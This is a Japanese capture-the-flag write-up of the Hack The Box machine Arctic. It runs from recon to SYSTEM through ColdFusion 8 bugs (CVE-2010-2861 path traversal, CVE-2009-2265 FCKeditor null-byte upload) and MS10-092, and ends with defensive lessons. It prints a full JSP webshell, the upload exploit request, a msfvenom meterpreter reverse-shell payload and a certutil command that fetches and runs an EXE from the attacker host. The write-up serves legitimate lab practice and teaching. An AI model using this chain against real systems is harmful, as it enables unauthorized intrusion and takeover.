Hack The BoxのWriteup(Arctic)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Arctic — 全実行コマンド・実行結果レポート
Nmap スキャン
8500(ColdFusion/JRun)検出
→
CVE-2010-2861
locale traversalでadminハッシュ漏洩(副次)
→
CVE-2009-2265
FCKeditor nullbyte JSPアップロード
→
ARCTIC\tolis シェル
user.txt ✓
→
certutil配送 → meterpreter
EXEステージャ経由
→
MS10-092
Task Scheduler schelevator
→
NT AUTHORITY\SYSTEM
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p 80,135,8500,49154 -sV -sC --max-retries 2 10.129.84.4
RESULT
PORT      STATE    SERVICE VERSION
80/tcp    filtered http
135/tcp   open     msrpc   Microsoft Windows RPC
8500/tcp  open     http    JRun Web Server
|_http-title: Index of /
49154/tcp open     msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
80番はfiltered、実際のWebサービスは8500番のJRun(ColdFusion 8)。 タイトルがIndex of /のままなのは既定のColdFusion 8インストールに 特徴的であり、公開済みの重大な脆弱性群(CVE-2009-2265, CVE-2010-2861)が 存在するバージョンだと推測できる。

ColdFusion管理画面の確認

BASH
curl -s -i http://10.129.84.4:8500/CFIDE/administrator/enter.cfm
RESULT
HTTP/1.1 200 OK
Server: JRun Web Server
Content-Type: text/html

<title>ColdFusion Administrator Login</title>
...
ℹ️
/CFIDE/administrator/enter.cfmの存在が確認でき、 Adobe ColdFusion 8の管理画面であることが確定した。
PHASE 2

脆弱性解析 — CVE-2010-2861 (副次) & CVE-2009-2265 (本線)

CVE-2010-2861: locale パラメータ ディレクトリトラバーサル

BASH
curl -s "http://10.129.84.4:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../ColdFusion8/lib/password.properties%00en"
RESULT
rdspassword=
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
⚠️
localeパラメータが正規化なしでファイルパスとして渡されており、 %00(nullバイト)で拡張子検証を回避しつつ../で 任意ファイル読み取りが可能。password.propertiesから ColdFusion管理者パスワードのSHA1ハッシュが漏洩する (今回はadmin管理画面への侵入には使わず、RCEの副次的な確認材料として記録)。

ハッシュのクラック

BASH
echo "2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03" > arctic_cf_hash.txt
hashcat -m 100 -a 0 arctic_cf_hash.txt /usr/share/wordlists/rockyou.txt
RESULT
2f635f6d20e3fde0c53075a84b68fb07dcec9b03:happyday

Session..........: hashcat
Status...........: Cracked
ℹ️
SHA1(mode 100)としてhappydayにクラック成功。 ColdFusion管理者パスワードが判明したが、本チェーンではFCKeditorの 未認証RCE(CVE-2009-2265)の方が直接的かつ確実なため、 こちらは管理画面へのログインには使用せず参考情報として記録するにとどめた。

CVE-2009-2265: FCKeditor ファイルアップロード の仕組み

NOTE
ColdFusion 8 に同梱される FCKeditor は、アップロードファイル名(filename)に
.jsp/.cfm 等の危険な拡張子が含まれる場合はアップロード自体を拒否する
(レスポンスコード202)。しかし保存先ディレクトリを決める CurrentFolder
パラメータには拡張子チェックが掛からないため、以下のテクニックが成立する:

  CurrentFolder=/shell.jsp%00   ← null byte 注入で "実際の保存パス" を操作
  filename=report.txt            ← アップロード検証をパスする安全な拡張子

FCKeditorはCurrentFolder値をnullバイトで切り詰めて実際のファイル名として
解釈するため、サーバー上には filename の拡張子チェックを一切受けずに
"shell.jsp" として保存される。Metasploitの coldfusion_fckeditor モジュールが
使う手法と同一。
🚨
C:\Windows\Tempは書き込み不可だが、アップロード先の C:\ColdFusion8\wwwroot\userfiles\file\はWeb公開ディレクトリかつ 書き込み可能 — アップロードしたJSPに直接HTTPでアクセスして実行できる。
PHASE 3

FCKeditor nullbyte アップロードRCE & user.txt

JSP Webシェルの作成

manual_shell.jsp
<%@ page import="java.io.*"%><%
String c=request.getParameter("cmd");
if(c!=null){
  Process p=Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",c});
  InputStream is=p.getInputStream();
  byte[] b=new byte[65536]; int n;
  StringBuffer sb=new StringBuffer();
  while((n=is.read(b))!=-1){sb.append(new String(b,0,n));}
  out.print(sb.toString());
}
%>

nullbyte注入アップロード

HTTP (curl, multipart)
curl -F "newfile=@manual_shell.jsp;filename=report.txt;type=application/x-java-archive" \
  "http://10.129.84.4:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/manual_shell.jsp%00"
RESULT
<script type="text/javascript">
  window.parent.OnUploadCompleted( 0,
    "/userfiles/file/manual_shell.jsp /xxxxxxxx.txt",
    "xxxxxxxx.txt", "0" );
</
✅
レスポンスコード0(成功)。実際のファイルはfilenameで 指定した安全な拡張子(.txt)ではなく、CurrentFolderの nullバイト注入によって.jspとして保存されている — http://10.129.84.4:8500/userfiles/file/manual_shell.jsp として直接アクセス可能。

Webシェル動作確認

BASH
curl -s "http://10.129.84.4:8500/userfiles/file/manual_shell.jsp?cmd=whoami"
RESULT
arctic\tolis
ℹ️
ColdFusion/JRunサービスはtolisユーザーのコンテキストで 動作しており、そのままコマンド実行できる。なおこのJRunサービスは 今回のインスタンスでは応答が非常に遅く(1リクエストあたり40〜90秒超)、 curl --max-timeは60〜90秒程度の余裕を持たせる必要があった (サービス自体がクラッシュ/劣化しているわけではなく、単に遅い)。

user.txt取得

BASH
curl -s --max-time 60 "http://10.129.84.4:8500/userfiles/file/manual_shell.jsp" \
  --data-urlencode "cmd=type C:\Users\tolis\Desktop\user.txt" -G
RESULT
e4dc07c6321fa1dac2904e0002809e69
user.txt — tolis@ARCTIC
e4dc07c6321fa1dac2904e0002809e69
PHASE 4

MS10-092 schelevator で SYSTEM 昇格 & root.txt

meterpreter EXE 生成 & certutil配送

BASH
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.200 LPORT=4530 -f exe -o arctic_final.exe
python3 -m http.server 8097 --bind 0.0.0.0   # EXEをホスト

curl -s --max-time 90 "http://10.129.84.4:8500/userfiles/file/manual_shell.jsp" --data-urlencode \
  "cmd=certutil.exe -urlcache -split -f http://10.10.15.200:8097/arctic_final.exe C:\ColdFusion8\wwwroot\userfiles\file\arctic_final.exe" -G
RESULT
****  Online  ****
  0000  ...
  1e00
CertUtil: -URLCache command completed successfully.
ℹ️
PowerShellなしのLiving-off-the-land手法。C:\Windows\Tempは 書き込み不可だが、FCKeditorのアップロード先(Web公開ディレクトリ)は 書き込み可能なため、そこへEXEを配送する。

multi/handler起動 & EXE実行トリガー

BASH (msfconsole)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4530
set ExitOnSession false
exploit -j
HTTP (webshell経由トリガー)
curl -s "http://10.129.84.4:8500/userfiles/file/manual_shell.jsp" \
  --data-urlencode "cmd=start /b C:\ColdFusion8\wwwroot\userfiles\file\arctic_final.exe" -G
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4530
[*] Sending stage (232006 bytes) to 10.129.84.4
[*] Meterpreter session 1 opened (10.10.15.200:4530 -> 10.129.84.4:50026)
ARCTIC\tolis @ ARCTIC

ms10_092_schelevator 実行

BASH (msfconsole)
use exploit/windows/local/ms10_092_schelevator
set PAYLOAD windows/exec
set CMD "cmd.exe /c copy C:\users\administrator\desktop\root.txt C:\ColdFusion8\wwwroot\userfiles\file\r00t_manual.txt"
set SESSION 1
set ForceExploit true
set AutoCheck false
set VERBOSE true
exploit
RESULT
[!] AutoCheck is disabled, proceeding with exploitation
[*] Preparing payload at C:\Users\tolis\AppData\Local\Temp\MzmonFDjMmsnu.exe
[*] Creating task: kmqbkFzS
[*] [Task Scheduler] executing command: schtasks /create /tn "kmqbkFzS" /tr "...\MzmonFDjMmsnu.exe" /sc MONTHLY /mo 1 /st 00:00:00 /ru ARCTIC\tolis /f
[*] Reading the task file contents from C:\Windows\system32\tasks\kmqbkFzS...
[*] Original CRC32: 0xcdb7c1ce
[*] Final CRC32: 0xcdb7c1ce
[*] Writing our modified content back...
[*] Validating task: kmqbkFzS
[*] [Task Scheduler] executing command: schtasks /query /tn kmqbkFzS /v /fo csv /hresult
[*] Disabling the task...
[-] ERROR: The specified task name "kmqbkFzS" does not exist in the system.
[-] Exploit aborted due to failure: unknown: Could not disable task
⚠️
既知の挙動: schelevatorは改変したタスク定義ファイルを schtasks /queryで検証後、本来はタスクを無効化してから実行するが、 このターゲットではタスクが検証直後に既に自動実行・自己削除 されてしまい、後続の「無効化」ステップが対象を見失ってエラーになる競合状態 (レース)が発生する。しかしペイロード(root.txtのコピー)自体は タスク実行時点で既に成功しているため、このエラーは実害がない — モジュールの後処理フェーズのみが失敗する既知のタイミング問題。

root.txt取得

HTTP
curl -s "http://10.129.84.4:8500/userfiles/file/r00t_manual.txt"
RESULT
97f174dddfc4ca15615bb10a464e9beb
root.txt — Administrator@ARCTIC
97f174dddfc4ca15615bb10a464e9beb
✅
タスクスケジューラ経由でcopyコマンドをSYSTEM権限で実行し、 root.txtをColdFusionのWeb公開ディレクトリへコピーすることで、 インタラクティブなSYSTEMシェルを確立せずにフラグをHTTP経由で回収できた (PAYLOAD=windows/exec採用の理由)。

後片付け(ターゲット上のアーティファクト削除)

BASH
curl -s "...manual_shell.jsp" --data-urlencode "cmd=taskkill /F /IM arctic_final.exe" -G
curl -s "...manual_shell.jsp" --data-urlencode "cmd=cmd.exe /c del ...\arctic_final.exe" -G
curl -s "...manual_shell.jsp" --data-urlencode "cmd=cmd.exe /c del ...\r00t_manual.txt" -G
curl -s "...manual_shell.jsp" --data-urlencode "cmd=cmd.exe /c del ...\manual_shell.jsp" -G   # 自己削除
ℹ️
配送したEXE・コピーしたフラグ・Webシェル自身をすべて削除し、 ターゲットを検証前の状態に戻した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — tolis@ARCTIC
e4dc07c6321fa1dac2904e0002809e69
root.txt — Administrator@ARCTIC
97f174dddfc4ca15615bb10a464e9beb

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2010-2861 ColdFusion 8 CFIDE administrator (locale) 認証なしの任意ファイル読み取り Medium 副次的な確認 — password.propertiesから管理者SHA1 ハッシュを漏洩させクラック可能(happyday)だが、 本チェーンの侵入経路としては使用せず
CVE-2009-2265 ColdFusion 8 FCKeditor (CFM connector) 未認証リモートコード実行 Critical CurrentFolderへのnullバイト注入で拡張子フィルタを 回避し、安全な拡張子のアップロードを装って実際には.jsp Webシェルを保存 → user.txt取得可能なtolisシェルを獲得
MS10-092 (CVE-2010-3338) Windows Task Scheduler 一般ユーザー権限からのSYSTEM昇格 Critical タスク定義ファイルのCRC検証不備を突き、任意コマンドを SYSTEM権限で実行 → root.txt取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(8500) + ColdFusion管理画面確認ColdFusion 8 / JRun検出
2脆弱性解析(副次)CVE-2010-2861 locale traversal管理者SHA1ハッシュ漏洩+クラック成功(未使用)
3フットホールドCVE-2009-2265 FCKeditor nullbyte uploaduser.txt(tolisシェル)
4ペイロード配送msfvenom EXE + certutilmeterpreter EXE配置
5権限昇格ms10_092_schelevatorroot.txt(SYSTEM権限でのファイルコピー)

学んだ教訓 & 防御策

問題点防御策
2009年公開の既知脆弱性(CVE-2009-2265, FCKeditor nullbyteアップロード)が 未パッチのまま稼働している ColdFusion 8 / FCKeditorは開発終了・非推奨。使用を中止し、 最新のColdFusion(アップロード検証を強化済み)へ移行する。 アップロード先ディレクトリをWeb実行可能な場所に置かない。
ファイル名(filename)と保存先パス(CurrentFolder)という2つの パラメータで別々に拡張子検証が行われ、片方(CurrentFolder)が 検証漏れになっている設計不備 アップロード機能では「実際に保存されるファイル名」を単一の 正規化済みパラメータから算出し、拡張子ホワイトリストを 最終的な保存パスに対して一箇所でのみ検証する。
ディレクトリトラバーサル(CVE-2010-2861)により管理者パスワードの ハッシュが未認証で取得可能 ユーザー入力由来のパス要素(locale等)はパストラバーサル サニタイズ(../除去・絶対パス化後の許可リスト確認)を 必須化する。password.properties等の機密情報は Webプロセスの読み取り権限外に配置する。
2010年公開のWindowsタスクスケジューラ脆弱性(MS10-092)が 未パッチ Windows Updateを定期適用し、タスク定義ファイルの整合性検証 (CRC32のような脆弱な方式ではなく暗号学的に安全な署名)を 備えたバージョンへ更新する。
HackTheBox: Arctic | 完全攻略レポート